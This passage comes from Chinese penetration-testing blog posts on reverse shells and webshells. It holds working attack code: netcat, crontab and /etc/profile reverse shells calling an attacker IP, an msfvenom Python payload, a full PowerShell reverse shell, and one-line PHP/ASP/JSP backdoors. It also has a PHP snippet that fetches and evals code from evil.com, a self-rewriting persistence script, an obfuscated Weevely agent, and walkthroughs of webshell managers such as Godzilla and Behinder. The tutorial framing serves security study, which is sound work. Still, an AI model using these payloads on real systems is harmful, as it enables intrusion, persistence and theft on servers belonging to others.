都被阉割了,所以我们需要自己手动下载二进制安装包,安装的如下: 123456wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz --no-check-certificatetar -xvzf netcat-0.7.1.tar.gzcd tar -xvzf netcat-0.7.1.tar.gz./configuremake && make installmake clean 安装完原生版本的 netcat 工具后,便有了netcat -e参数,我们就可以将本地bash反弹到攻击机上了。 12345# Alicenc -lvvp 2333# Bobnetcat 192.168.64.215 2333 -e /bin/bash# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash Crontab 反弹 shell在目标主机的定时任务文件中写入一个反弹 shell 脚本是一种常见的攻击技术,但前提是我们必须知道目标主机当前的用户名。这是因为我们的反弹 shell 命令需要写入到特定的路径中,例如 /var/spool/cron/[crontabs]/<username>。 具体来说,在CentOS系列主机上,如果当前用户名为 root,我们需要将以下内容写入到 /var/spool/cron/root 文件中: 1* * * * * /bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/攻击者端口 0>&1' 而在Debian/Ubuntu系列主机上,如果当前用户名为 root,我们需要将以下内容写入到 /var/spool/cron/crontabs/root 文件中: 1* * * * * /bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/攻击者端口 0>&1' 这样,当定时任务执行时(在这个例子中是每分钟执行一次),反弹 shell 脚本就会被执行,从而与攻击者建立一个反向连接。 Profile反弹shell当用户打开新的 bash 窗口时,/etc/profile 文件中的内容会被执行。 需要注意的是,对 /etc/profile 文件的修改需要进行管理员权限操作(例如使用 sudo 或以管理员身份登录)。 12/bin/bash -i >& /dev/tcp/192.168.64.215/2333 0>&1 &# 最后面那个&为的是防止管理员无法输入命令 当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell: Metasploit反弹shellMetasploit框架提供了强大的msfvenom工具,用于生成各种类型的一句话反弹shell。这个工具非常实用,特别适用于当我们忘记之前提到的反弹shell命令时。 要查找我们需要生成的各类反弹shell一句话payload,我们可以使用以下方法: 使用命令 msfvenom -l 结合关键字过滤(例如 cmd/unix/reverse),可以列出符合条件的各类反弹shell一句话payload,具体使用方法如下: 12┌──(root㉿kali)-[/home/kali]└─# msfvenom -l payloads | grep "cmd/unix/reverse" 以上命令将在所有可用的payload中筛选并列出符合关键字cmd/unix/reverse的项,这些项包含各种反弹shell一句话payload的生成参数和选项。 如上图所示,metasploit支持生成反弹shell一句话的类型非常丰富,大家可以依据渗透测试对象自行选择使用。比如,我们获取一个python反弹shell的一句话: 12345678910┌──(root㉿kali)-[/home/kali]└─# msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=2333 -f raw[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload[-] No arch selected, selecting arch: cmd from the payloadNo encoder specified, outputting raw payloadPayload size: 356 bytespython -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNUMEKgzAM/RXpqYJUrYcdRg8yHIyxDaZ3mV1FmWuKqf+/FoXRmwlJSPLyHmT8GphthCA/ykZRgktnZpAK0TXg0mZHFwOgFSTnB5Y5z0mw9DSCF0URTFGszGwtdOvKc3u5V43XWwf143Rt6+ZZlbc4JGAStFbSUurl3YUXikMQIHsvhlNk/TgpDdStk2wHJt+B4SHGiP+LmHxNEyVpN+oUBxL/AAt8WAg=')[0])))"┌──(root㉿kali)-[/home/kali]└─# nc -lvvp 2333 将生成的python反弹shell的一句话在目标主机上执行即可 WIndows 反弹 shell除了通用的语言反弹 shell 方法之外,对于Windows系统来说,使用PowerShell和VBScript(适用于2003及以下的系统)是非常重要的技能,因为它们提供了更强大和专门针对Windows环境的功能。 PowerShell:PowerShell是一种命令行脚本语言和任务自动化框架,广泛用于管理和控制Windows系统。通过编写和执行PowerShell脚本,我们可以实现更高级、更复杂的操作和管理任务。在反弹 shell 的过程中,利用PowerShell可以获取目标系统的远程执行权限,并执行各种命令、访问系统资源等。 VBScript:VBScript是Visual Basic Scripting Edition的简称,是一种Microsoft Windows操作系统中常用的脚本语言。与PowerShell类似,VBScript也可以用于执行各种系统管理和自动化任务。对于较旧的Windows系统(如2003及以下版本),VBScript是一种有效的反弹 shell 技术。 1$LHOST = "192.168.64.215"; $LPORT = 6666; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close() 反弹shell后获取模拟终端其实,上面所讲的各种方法获取的 shell 都不是一个标准的虚拟终端环境,它们只是提供了一个标准输入。你会发现存在一个问题,即使我们获得了目标虚拟终端的控制权限,但通常会遇到以下几个交互性差和不稳定的问题: 缺乏交互性:获取的虚拟终端没有足够的交互功能。例如,我们无法为添加的账户设置密码或执行sudo等命令。 无法正常显示错误输出:标准的错误输出无法显示,这导致无法正确使用一些文本编辑器(如vim)等工具。 连接不稳定:获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接,这使得持续使用和进行长时间操作变得困难。 解决上述问题的方法是使用Python的pty(pseudo terminal)标准库来获取一个标准的虚拟终端环境。通过在已经获取的shell中输入以下命令,我们可以模拟一个终端设备: 1python -c "import pty;pty.spawn('/bin/bash')" 以上代码将调用pty.spawn()函数,并将/bin/bash作为参数传递给它,从而创建一个新的终端会话。 通过使用这个方法,我们可以获得一个更加交互性强、可执行sudo等命令以及正确显示错误输出的标准终端环境。 如何选择使用 Webshell 还是反弹 shell 取决于攻击者的目标、网络环境以及攻击的具体情境。以下是一些考虑因素: Webshell: 场景: Webshell 是一种通过 Web 应用程序获得对目标服务器控制权的方式。攻击者通常通过 Web 漏洞(如文件上传漏洞)植入 Webshell。 特点: Webshell 是一段服务器端的脚本代码,可以在服务器上执行命令、上传/下载文件,以及与服务器进行交互。 使用场景: 当攻击者已经通过 Web 漏洞获得了对 Web 服务器的访问权限时,可以使用 Webshell 进行进一步的渗透,查看敏感文件、执行命令等。 反弹 Shell: 场景: 反弹 shell 是一种通过建立网络连接,使目标主机主动连接攻击者机器的方式,通常用于绕过网络防火墙、端口限制等情况。 特点: 反弹 shell 具有灵活性,可以在攻击者机器上建立监听器,等待目标主机连接,从而实现远程控制。 使用场景: 当攻击者需要在目标网络中执行命令、进行侦察或维持访问时,反弹 shell 是一种有效的选择。 选择使用 Webshell 还是反弹 shell 取决于攻击者的目标和手段。在渗透测试和红队行动中,攻击者可能会根据情况组合使用这两种技术,以实现更全面的攻击目标。","tags":["信息安全","Shell","渗透测试"]},{"title":"Security-WebShell介绍及使用","path":"/2024/02/20/449cb93/","content":"总字符数: 31.50K 代码: 15.47K, 文本: 8.27K 预计阅读时间: 1.72 小时 简介 WebShell是一种以网页文件的形式存在的代码执行环境,它可以被称为网页后门.Web表示需要服务器提供Web服务,而Shell表示获取对服务器某种程度上的操作权限. 通常情况下,黑客在入侵一个网站后,会将ASP或PHP后门文件混合在正常的网页文件中,然后可以通过浏览器访问这些后门文件,获得一个命令执行的环境,以达到控制网站服务器的目的.具体步骤如下: 入侵网站 将ASP或PHP等后门文件混合在正常的网页文件中 通过网页访问后门文件 获得命令执行的环境 控制网站服务器 Shell文件可以接收来自服务器的数据并执行相应的命令,返回结果.也就是说,只要将Shell文件上传到目标服务器,就可以操控服务器了. 不法分子利用WebShell可以在Web服务器上执行系统命令、窃取数据、植入病毒、盗取核心数据、进行SEO挂马等恶意操作,造成严重的危害. 对于网站管理员来说,Shell文件也可以用于网站管理、服务器管理、数据库管理等.根据文件系统对象(FSO)权限的不同,其功能包括在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等. WebShell特点当黑客使用WebShell时,他们通常会将其上传到可以访问的服务器中. 例如利用用户CMS系统的第三方插件中的漏洞上传一个简单的php WebShell. WebShell的类型和作用各不相同,有一些简单的WebShell只起到连接外界的作用,允许黑客插入更加精准的恶意脚本,执行他们所需要的指令. 另外一些WebShell可能更加复杂,带有数据库或文件浏览器,让黑客能够从遥远的地方查看入侵系统的代码和数据.无论设计如何,WebShell都是网络罪犯和高级持续威胁(APT)经常使用的工具. WebShell的常见攻击特点主要包括以下几点: 持久化远程访问:WebShell脚本通常包含后门,黑客上传WebShell后,可以利用其中的后门实现远程访问和控制服务器,从而长期控制网站服务器.此外,黑客会修复漏洞,以确保其他人不能利用该漏洞.通过这种方式,黑客可以低调地操作,避免与管理员进行交互,并获得相同的结果. 提权:在服务器没有配置错误的情况下,WebShell在Web服务器的用户权限下运行,而用户权限是有限的.通过WebShell,黑客可以利用系统上的本地漏洞来提升权限,从而获得Root权限,基本上可以在系统上做任何事情,包括安装软件、更改权限、添加和删除用户、窃取密码、阅读电子邮件等等. 隐蔽性极强:WebShell可以嵌套在正常网页中运行,不容易被查杀.它还可以穿越服务器防火墙,因为与被控制的服务器或远程主机交互的数据都是通过80端口传输,所以不会被防火墙拦截.在没有记录流量的情况下,WebShell使用POST请求发送数据,也不会在系统日志中留下明显的痕迹,只会在Web日志中记录一些数据提交的记录. 操作与正常网页相似:WebShell通常通过命令交互界面进行操作,但它的操作方式可以模仿正常网页的表单提交、数据库查询等常见操作,使其不易被怀疑.黑客可以利用WebShell执行各种命令、浏览文件和数据库等,而这些操作与合法用户的正常行为类似 综上所述,WebShell具有嵌套在正常网页中、穿越服务器防火墙以及操作类似正常网页的特点,使其在黑客攻击中具有极高的隐蔽性.这也增加了检测和防御的难度,提高了WebShell对网络安全的威胁. WebShell分类WebShell根据脚本类型可以分为PHP脚本木马、ASP脚本木马、JSP脚本木马,还有基于.NET的脚本木马.随着时代和技术的变迁,还出现了使用Python和Lua编写的脚本木马,常见的几种分类包括: 大马 体积较大,功能全面 可调用系统关键函数 使用代码加密进行隐藏 小马 体积较小,功能简单 一般只具备上传功能,用于上传大马 一句话木马 代码简短 可单独生成文件,也可插入文件 安全性高,隐藏性强,可变形免杀 采用固定框架,执行数据操作和传递数据 可使用中国蚁剑等客户端管理WebShell,省去命令行和参数配置,提供图形化操作界面 打包马 主要用于打包网站源代码 拖库马 主要用于导出网站数据库 内存马 无文件落地,难以检测和发现 难以清除,具有持久性 原理WebShell的恶意性表现在它的实现功能上,是一段带有恶意目的的正常脚本代码. PHP一句话木马核心步骤如下: 数据传递 通过超全局变量获取数据:$_GET、$_POST、$_COOKIES、$_REQUEST、$_FILE、$_SERVER 从远程URL中获取数据:使用函数如file_get_contents、curl、svn_checkout等来获取远程URL中的数据,将需要执行的指令数据放在URL中通过URL包含进行读取. 从本地磁盘文件中获取数据:使用函数如file、file_get_contents等来读取本地磁盘文件中的数据,将需要执行的指令数据放在文件中利用IO函数读取. 从数据库中读取:将需要执行的指令放在数据库中,利用数据库操作函数来读取. 从图片头部中获取:使用函数如exif_read_data来获取图片头部中的数据,将需要执行的指令数据放在图片头部中利用图片操作函数读取. 代码执行 将用户传输的数据进行执行. 代码执行函数:eval、assert、system等函数进行代码执行(最常见的方式). LFI(本地文件包含):使用include、require等函数将文件包含转化为代码执行. 动态函数执行:利用PHP的动态函数特性(如$())进行代码执行. Curly Syntax:使用${${...}}等语法进行代码执行,将变量赋值的漏洞转化为代码执行的机会. 下面是一个示例,用于从远程URL中获取数据并执行: 1234<?php$url = 'http://evil.com/evil_payload.txt'; // 远程URL$data = file_get_contents($url); // 获取远程URL中的数据eval($data); // 执行获取到的数据 常见一句话木马php1<?php @eval($_POST['value']); ?> 1<?php assert($_POST[value]);?> 123<?php@preg_replace("/[email]/e",$_POST['h'],"error");?> asp1<%eval request ("value")%> 1<% execute(request("value")) %> aspx1<%@ Page Language="Jscript" %><% eval(Request.Item["value"]) %> jsp123<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> 内存马WebShell内存马是一种常用的无文件攻击手段,它将恶意后门和木马写入内存并执行,以实现对Web服务器的远程控制.随着攻防演练的热度不断上升,攻击和防守之间的博弈日益激烈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的基于文件的WebShell或以文件形式驻留的后门越来越容易被检测到,因此内存马的使用越来越普遍. PHP内存马是一种常见的内存马类型,在线下AWD比赛中经常被使用.在蚁剑等工具中也提供了专门的插件来实现一键注入内存马.其原理相对简单,利用PHP的特性通过反复写入一个木马代码片段来实现无法删除的目的. 123456789101112<?phpignore_user_abort(true); // 忽略用户中止请求,确保脚本继续执行set_time_limit(0); // 设置脚本执行时间为无限制,避免因超时而中断unlink(__FILE__); // 删除当前脚本文件,确保脚本只执行一次$file = 'Shell.php'; // 定义要写入的文件名,这里是Shell.php$code = '<?php @eval($_POST["cmd"]);?>'; // 定义要写入文件的恶意代码,用于远程执行命令while(1){ // 进入无限循环 file_put_contents($file, $code); // 将恶意代码写入文件 usleep(5000); // 程序休眠5000微秒,让循环间隔一定时间} 这段代码会创建一个名为Shell.php的文件,并将恶意代码写入其中.通过设置忽略用户中止、无限制的执行时间和在每次循环中删除当前文件来达到持久化的效果.然而实际上,这种方法仍然会有文件落地,只是管理员难以删除或删除不完全而已. 更具有代表性的是Java内存马.它是一种常见的无文件攻击手段,在目标系统的内存中直接加载并执行恶意代码,从而控制目标系统.相比于传统的基于文件的WebShell或以文件形式驻留的后门,Java内存马更加隐蔽,很难被安全设备和防御措施检测到. WebShell管理工具的使用蚁剑(AntSword)蚁剑的下载蚁剑本体 12https://github.com/AntSwordProject/antSwordhttps://gitee.com/AntSwordProject/antSword 蚁剑加载器 12https://github.com/AntSwordProject/AntSword-Loaderhttps://gitee.com/AntSwordProject/AntSword-Loader 蚁剑的安装蚁剑从v2.0.0-beta版本开始引入了加载器这个概念,需要下载对应平台的加载器运行当前的开发板和发行版源代码. 打开加载器->点击初始化,选择蚁剑源代码目录如antSword-2.1.14/目录 注意:!目录所在的路径不要有中文! 可以如D:\\AntSword-Loader-v4.0.3-win32-x64 不能如D:\\工具\\AntSword-Loader-v4.0.3-win32-x64这样含有中文 初始化完成后再次打开蚁剑加载器 AntSword.exe 即可使用 蚁剑界面点击AntSword菜单内有关于程序、语言设置、代理设置、显示设置等基础功能 编码设置可创建编码器,在页面编辑处粘贴代码点击保存,这样在添加Shell或者编辑Shell配置时,就可以选择==编码器/解码器==了. 插件市场可添加开发者提供的多功能插件 蚁剑(AntSword)的使用代理设置点击AntSword->代理设置,可设置代理 添加Shell界面右键添加数据 插件点击AntSowrd->插件市场在设置中心->设置中文 自行在远程仓库下载插件即可,插件在主页处右键选择使用 哥斯拉(Godzilla)介绍哥斯拉(Godzilla)是继菜刀、蚁剑、冰蝎之后出现的一款优秀的WebShell管理工具,由JAVA语言开发,特点有: 全部类型的Shell能绕过市面大部分的静态查杀 流量加密能绕过市面绝大部分的流量Waf Godzilla自带的插件非常强大,具有内网渗透能力 地址: 1https://github.com/BeichenDream/Godzilla 运行环境 12341. JavaDynamicPayload -> java1.0及以上2. CShapDynamicPayload -> .net2.0及以上3. PhpDynamicPayload -> 4.3.0及以上4. AspDynamicPayload -> 全版本 使用打开哥斯拉前需安装JDK1.8以上环境,之后双击Godzilla.jar打开,然后会在同目录下生成data.db数据库存放数据 生成WebShell点击管理->生成生成所需的WebShell,哥斯拉支持JSP、PHP、Aspx等多种载荷,JAVA和C#的载荷原生实现AES加密,PHP使用或加密.生成时需要记住自己的生成配置用以链接时用. 如下,有效载荷有ASP、JAVA、PHP、C#(CShap)几种,加密器有Base64、RAW、XOR_Base64几种 连接WebShell上述操作生成一个文件,上传到目标服务器,点击目标,设置基础配置连接该WebShell,配置需要与生成的WebShell一致. 添加后右键进入即可进入Shell管理界面 设置代理连接WebShell时可选择代理,可以设置HTTP代理与Burpsuite联动,把哥斯拉流量发送到Burpsuite 请求配置添加目标时,点击请求配置,可修改协议头(包含UA、Accept、Accept-Language三个弱特征),哥斯拉默认的这三项和正常的浏览器有部分差异(UA中含有Godzilla关键字),属于弱特征,可根据自身需求修改,如这里将UA修改成浏览器使用的UA 配置信息点击会有两个配置:程序配置插件配置 其中插件配置可添加和移除本地第三方哥斯拉插件 程序配置则可自行修改部分特征,全局协议头就是一个弱特征,全局代理可设置HTTP和SOCKS代理,这里可以与Burpsuite与联动 全局协议头请求配置中为单条设置,此处为全局设置,修改完点击修改按钮 全局代理设置代理中为单条设置,此处为全局设置 字体设置修改字体格式和大小,你好Hello为修改后的字体与大小,重启程序后生效 核心配置上帝模式开启会使文件管理复杂化,经测试不开启会导致删除文件、新建文件夹、执行等操作出现问题 大文件配置可设置重试次数和单次上传、下载文件大小,字节单位为k,1M=1000000K,若上传或下载的文件较大可自行设置所需大小. PHP基础信息哥斯拉特性是会根据语言的不同显示不同的功能界面,以PHP的WebShell为例,基础信息中含有该主机的系统及版本、当前用户、外连IP与端口、网站根目录、PHP版本等信息 Linux主机比Windows多一个PPs模块,功能为查看进程可能因docker的问题并没有获取到进程 命令执行默认调用的cmd窗口,cmd /c "{command}" 2>&1,若为Linux主机则为/bin/bash 文件管理同其他WebShell工具类似,直接拖动文件放进去即可上传,选择文件或文件夹点击右键,可选择上传、下载、查看属性、新建文件、新建文件夹、编辑器打开、查看属性等操作 哥斯拉的文件管理创新点在于远程下载、执行、大文件上传、大文件下载几块内容,许多WebShell管理工具不支持大文件的上传和下载,安全人员只能通过文件分割方式分块上传;另外,哥斯拉支持直接执行文件,而不必再在命令窗口中输入命令执行. 可直接编辑文件,并可选择编码类型进行保存 选择文件属性,可对文件路径、文件权限、文件修改时间进行修改,用于隐藏文件 数据库管理在数据库管理中哥斯拉会先从容器中加载可用的jdbc,如果没有就通过内存加载jar驱动来链接数据库 点击右下角DbinfoConfig配置服务器信息,注意点是要填写127.0.0.1,因为此时我们正在该服务器上使用服务,填写该服务器IP如192.168.0.123的话,若该服务器不允许远程登录MySQL则会失败 之后点击左侧列表或使用下方Exec SQl都可操作数据库 网络详情相当于在目标机上使用netstat -an查看网络连接情况,如正在监听的端口、外连等 Zip将目标文件夹压缩为压缩文件,或将压缩文件进行解压 设置目标文件夹再设置压缩后的名称即可压缩文件,设置压缩文件再设置解压的目标文件夹即可解压. PSuperServer该模块作者GitHub没有说明,经过摸索发现为ntunnel隧道 该模块应该是一个Navicat的ntunnel_mysql.php的集成模块,将Navicat目录下的ntunnel_mysql.php上传到目标服务器 然后Navicat新建连接,常规中照常设置,注意点为主机地址需设置为127.0.0.1 在HTTP中勾选如下两个选项,然后输入ntunnel_mysql.php的地址,这里要选择base64编码,否则容易被防护软件拦截. PWebShellScan根据常见特征扫描指定文件夹下有无WebShell,并且尝试获取WebShell密码,设置好目标目录后,点击scan按钮即可扫描,经测试,无法扫描到如冰蝎木马的加密WebShell PMeterpretermsfconsole MSF设置监听0.0.0.0:4444 填写MSF服务器的IP和MSF监听的端口,点击Go发现Meterpreter上线 BypassOpenBasedir模块功能为绕过Open_basedir限制,Open_basedir为php.ini中的一个配置选项,将用户访问文件的活动范围限制在指定的区域. PAttackFPM该模块专门攻击php-fpm,php-fpm是FastCGI进程管理器,它包含一个高级处理功能,可以启动任何任务,然后关闭该任务,且过程中不会有任何阻碍. php.ini中的disable_functions配置禁用了putenv()、mail() 、pcntl_exec()等函数,环境是PHP5.6,导致很多常规Bypass的方法都用不了 而PAttackFPM模块可与BypassDisable_functions模块作为组合拳使用,作用是绕过限制执行命令,条件是网站为Linux 操作系统且由Nginx+PHP5.6搭建 123Linux操作系统PHP-FPMNginx+PHP5.6 BypassDisableFunctions模块功能为绕过DisableFunctions,管理员如果设置DisableFunctions则WebShell会无法执行系统命令,该模块提供了一种绕过方式. 使用可见PAttackFPM,其他子模块中 EnvBypass条件: 利用LD_PRELOAD环境变量绕过 12345能够上传自己的.so文件能够控制LD_PRELOAD环境变量的值,比如putenv()函数因为新进程启动将加载LD_PRELOAD中的.so文件,所以要存在可以控制PHP启动外部程序的函数并能执行,比如mail()、imap_mail()、mb_send_mail()和error_log()函数等 AMCBypass条件: 利用Apache_mod_cgi绕过 12345Linux 操作系统Apache + PHP (apache 使用 apache_mod_php)Apache 开启了cgi、rewriteWeb 目录给了AllowOverride权限当前目录可写 P_Eval_Code一个内置代码编译器 PortScan哥斯拉在对方主机产生一个扫描进程,扫描开放端口,在目标主机发现新增一个端口连接TCP 192.168.0.107:80 192.168.0.111:7031 ESTABLISHED 85848扫描进程名httpd.exe,通过Apache进程完成的扫描,扫描结束后该端口连接断开. RealCmd在本地攻击机开放一个端口,将目标主机权限转发给本地攻击机端口 对方如果是Windowsexec file就写cmd,Linux就写/bin/bash 本地攻击机使用nc连接,成功连接到目标主机,攻击机关闭窗口后该连接自动关闭. 1nc64.exe 127.0.0.1 4444 JSPJSP的模块和PHP的不太一样,多了Screen(屏幕截图)、Jrealcmd(虚拟终端)、MemoryShell(内存Shell)、ServletManage(Servlet木马管理)、JarLoader(内存加载Jar)、mimikatz(抓取密码)等模块. RealCmd、PortScan、JMeterpreter、SuperTerminal、Zip与PHP模块用法一致. 基础信息提供了物理路径、真实IP地址、系统版本、插件目录、JDK版本以及各种配置信息. MemoryShell内存Shell模块,在服务器中注册、卸载内存马 可以注册一个哥斯拉的马或者冰蝎、蚁剑的马,甚至是Regeorg,在指定目录下注册生成一个木马文件,然后成功连接该木马; 删除该木马文件时点击unLoadMemoryShell然后输入Shell目录即可 EnumDatabaseConn该模块会尝试得到数据库的连接驱动、账户与密码 Screen屏幕截图,Windows上需要高权限(NT SYSTEM). PetitPotamPrintSpoofer提权模块,利用SeImpersonatePrivilege(身份验证后模拟客户端)权限来尝试获取SYSTEM权限 ServletManage作用是管理Servlet,可获取和卸载Servlet,方便管理内存Shell. Servlet是在服务器上运行的小程序,Servlet虽然被称作”小程序”,但是它的功能却异常强大,因为它是基于Java的,几乎可以使用所有的Java API,Java 能做的事情Servlet也能做. ShellcodeLoader memoryPe是内存PE模块,加载PE并注入. JarLoader用途为加载jar包,主要是加载jdbc mimikatz集成mimikatz,功能为抓密码凭证,现已更名为kiwi,需要较高权限 冰蝎(Benhinder)安装相对于菜刀和蚁剑,冰蝎的特点是动态二进制加密实现新型一句话木马,它的数据是加密传输的 冰蝎项目地址: 1https://github.com/rebeyond/Behinder 所需环境: 12客户端:jre11及以上服务端:.net 2.0+;php 5.3-7.4;java 6+ 文件介绍1234Behinder.jar 冰蝎客户端,双击即可打开冰蝎Plugins 插件目录server文件夹 存放常见语言的WebShelldata.db 数据库文件 新建连接右键->新增,输入WebShell信息,若使用冰蝎自带的WebShell则默认密码为rebeyond 修改默认密码冰蝎WebShell默认密码均为 rebeyond ,为32位md5值的前16位,若要修改为Shell,则在MD5网站查询md5值,将32位md5前16位截取下来即可 122591c98b70119fe624898b1e424b5e91\t前16位截取下来2591c98b70119fe6 Shell 基本信息冰蝎默认木马会弹出phpinfo信息,可以通过phpinfo收集服务器信息 命令执行一个终端窗口,调用的是服务器的cmd窗口 虚拟终端虚拟终端提供一个交互式的真实终端,相当于把服务器侧的Shell给搬到了客户端,在这个Shell里可以执行各种需要交互式的命令,如ssh、mysql,还可以执行python、vim、top等操作 虚拟终端和命令执行不同点在于虚拟终端使用完毕需要点击”停止“按钮来关闭服务器的Shell进程 Linux可在/bin/bash下使用如SSH、MySql,还可以执行Python、VIM、TOP等命令 Windows默认为cmd.exe,启动后若目标服务器为Win7则会在服务器生成一个文件夹(==win10不会生成文件==) Win10下cmd.exe、powerShell.exe均可执行命令,Win7下仅cmd.exe可执行命令. 文件管理可对文件进行上传、下载、新建、修改时间戳等操作 数据库管理数据库管理属于常规功能,目前支持SQL Server、MySQL、Oracle,当服务器环境为Java或者C#时,如果缺少对应的数据库管理库,冰蝎会自动上传并加载对应的库文件. 另外,如果数据库连接密码中有特殊字符(如@符号),用URL编码一下即可(@编码之后为40%) 选择数据库类型后,在连接字符串处修改账户密码,然后点击”连接”按钮,连接成功后即可执行语句 随后直接点击左侧图标即可图形化操作 自定义代码冰蝎提供asp、c#、php、Java的自定义代码执行功能,文本框支持语法高亮,c#和Java会把输入的源代码自动编译并执行. 备忘录备忘录模块提供对当前Shell的一些临时文本信息进行存储.直接输入内容即可,冰蝎会自动保存. 注入内存马冰蝎采用基于Agent技术的Java内存马注入功能,目前支持Tomcat、Weblogic、Jboss.其中Tomcat和Jboss对内存马注入路径没有任何限制. Weblogic的内存马注入路径需要在真实存在的应用名称的路径下,比如http://xxx.com:7001/console/memShell,Console即为应用名称不能直接注入到http://xxx.com:7001/memShell 另外,冰蝎还提供了内存马防检测功能,该功能会阻止其他Agent注入进当前JVM进程.当然注入内存马的时候如果开启该功能,冰蝎后续也无法再次注入内存马 代理冰蝎提供Sosks5和HTTP代理,反弹Shell时利用的就是内置代理功能 Weevely Weevely是一款开源的WebShell工具,用Python编写,可以在Linux系统上使用.它提供了一种方便的方式来生成和连接WebShell,并以客户端/服务器(C/S)模式构建.Weevely具有很强的隐蔽性,可以用作替代PHP菜刀的工具. Weevely具有多种功能,包括服务器错误配置审计、后门放置、暴力破解、文件管理、资源搜索、网络代理、命令执行、数据库操作、系统信息收集和端口扫描等.这些功能使它成为一个强大的渗透测试工具,可以用于评估和检测Web应用程序的安全性. 简单使用123456789101112131415161718192021222324252627┌──(root㉿kill3r)-[/home/kill3r]└─# weevely [+] weevely 4.0.1[!] Error: the following arguments are required: url, password[+] Run terminal or command on the target weevely <URL> <password> [cmd][+] Recover an existing session weevely session <path> [cmd][+] Generate new agent weevely generate <password> <path> ┌──(root㉿kill3r)-[/home/kill3r]└─# weevely -husage: weevely [-h] {terminal,session,generate} ...positional arguments: {terminal,session,generate} terminal Run terminal or command on the target session Recover an existing session generate Generate new agentoptions: -h, --help show this help message and exit 123456789101112131415161718┌──(root㉿kill3r)-[/home/kill3r]└─# weevely generate kill3r eval.phpGenerated 'eval.php' with password 'kill3r' of 771 byte size. ┌──(root㉿kill3r)-[/home/kill3r]└─# cat eval.php <?php$p='$kk"k"="8713ak"bbek""k";$kh="4c1df24e1k"6a8";$kfk"="9f449eb431ffk"";$p="9k"k"dvzq8pk';$Q='o="";for($i=k"0;$i<$lk";)k"{for($j=0;($j<$c&k"&$i<k"$l);k"$j++,$i+k"+){$o.=$k"t{$i}k"^';$m='k"(@x(@basek"64_decodk"e(k"$m[1]),$k))k");$o=@ob_gk"et_contk"entk"s();@k"ob_end_k"clea';$L='UtsMk"tw2M"k";functik"on k"x($t,$k)k"{$c=k"strlen($k"k);$l=k"k"strlen($t);k"k"$k"';$G='n();k"$r=@bk"ase6k"4_encodek"(@x(@gzk"compresk"s($o),$kk"))k";printk"("$p$khk"$r$kf");}';$l='$k{k"$jk"};}}k"k"return $o;}k"if k"(@preg_match("/$khk"(.+k"k")$kf/"k",@file_getk"k"_cont';$U=str_replace('kJ','','crekJakJkJkJte_funckJkJtion');$x='ents("php:k"//ink"put")k"k",$m)==1) {@ob_stark"k"t()k"k";@evk"al(@gzuncomk"press';$Y=str_replace('k"','',$p.$L.$Q.$l.$x.$m.$G);$t=$U('',$Y);$t();?> 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081┌──(root㉿kill3r)-[/home/kill3r]└─# weevely http://192.168.64.245/dvwa/hackable/uploads/eval.php kill3r [+] weevely 4.0.1[+] Target: 192.168.64.245[+] Session: /root/.weevely/sessions/192.168.64.245/eval_0.session[+] Browse the filesystem or execute commands starts the connection[+] to the target. Type :help for more information.weevely> :help :system_procs List running processes. :system_extensions Collect PHP and webserver extension list. :system_info Collect system information. :backdoor_tcp Spawn a Shell on a TCP port. :backdoor_reversetcp Execute a reverse TCP Shell. :net_scan TCP Port scan. :net_curl Perform a curl-like HTTP request. :net_proxy Run local proxy to pivot HTTP/HTTPS browsing through the target. :net_phpproxy Install PHP proxy on the target. :net_ifconfig Get network interfaces addresses. :net_mail Send mail. :file_tar Compress or expand tar archives. :file_bzip2 Compress or expand bzip2 files. :file_download Download file from remote filesystem. :file_upload2web Upload file automatically to a web folder and get corresponding URL. :file_touch Change file timestamp. :file_upload Upload file to remote filesystem. :file_find Find files with given names and attributes. :file_ls List directory content. :file_read Read remote file from the remote filesystem. :file_cp Copy single file. :file_mount Mount remote filesystem using HTTPfs. :file_check Get attributes and permissions of a file. :file_gzip Compress or expand gzip files. :file_grep Print lines matching a pattern in multiple files. :file_zip Compress or expand zip files. :file_rm Remove remote file. :file_webdownload Download an URL. :file_clearlog Remove string from a file. :file_edit Edit remote file on a local editor. :file_cd Change current working directory. :file_enum Check existence and permissions of a list of paths. :Shell_php Execute PHP commands. :Shell_sh Execute Shell commands. :Shell_su Execute commands with su. :audit_suidsgid Find files with SUID or SGID flags. :audit_phpconf Audit PHP configuration. :audit_disablefunctionbypass Bypass disable_function restrictions with mod_cgi and .htaccess. :audit_etcpasswd Read /etc/passwd with different techniques. :audit_filesystem Audit the file system for weak permissions. :sql_dump Multi dbms mysqldump replacement. :sql_console Execute SQL query or run console. :bruteforce_sql Bruteforce SQL database. The system Shell interpreter is not available in this session, use thefollowing command replacements to simulate a unrestricted Shell. ps system_procs whoami, hostname, pwd, uname system_info nmap net_scan curl net_curl ifconfig net_ifconfig mail net_mail tar file_tar bzip2, bunzip2 file_bzip2 touch file_touch find file_find ls, dir file_ls cat file_read cp, copy file_cp gzip, gunzip file_gzip grep file_grep zip, unzip file_zip rm file_rm wget file_webdownload vi, vim, 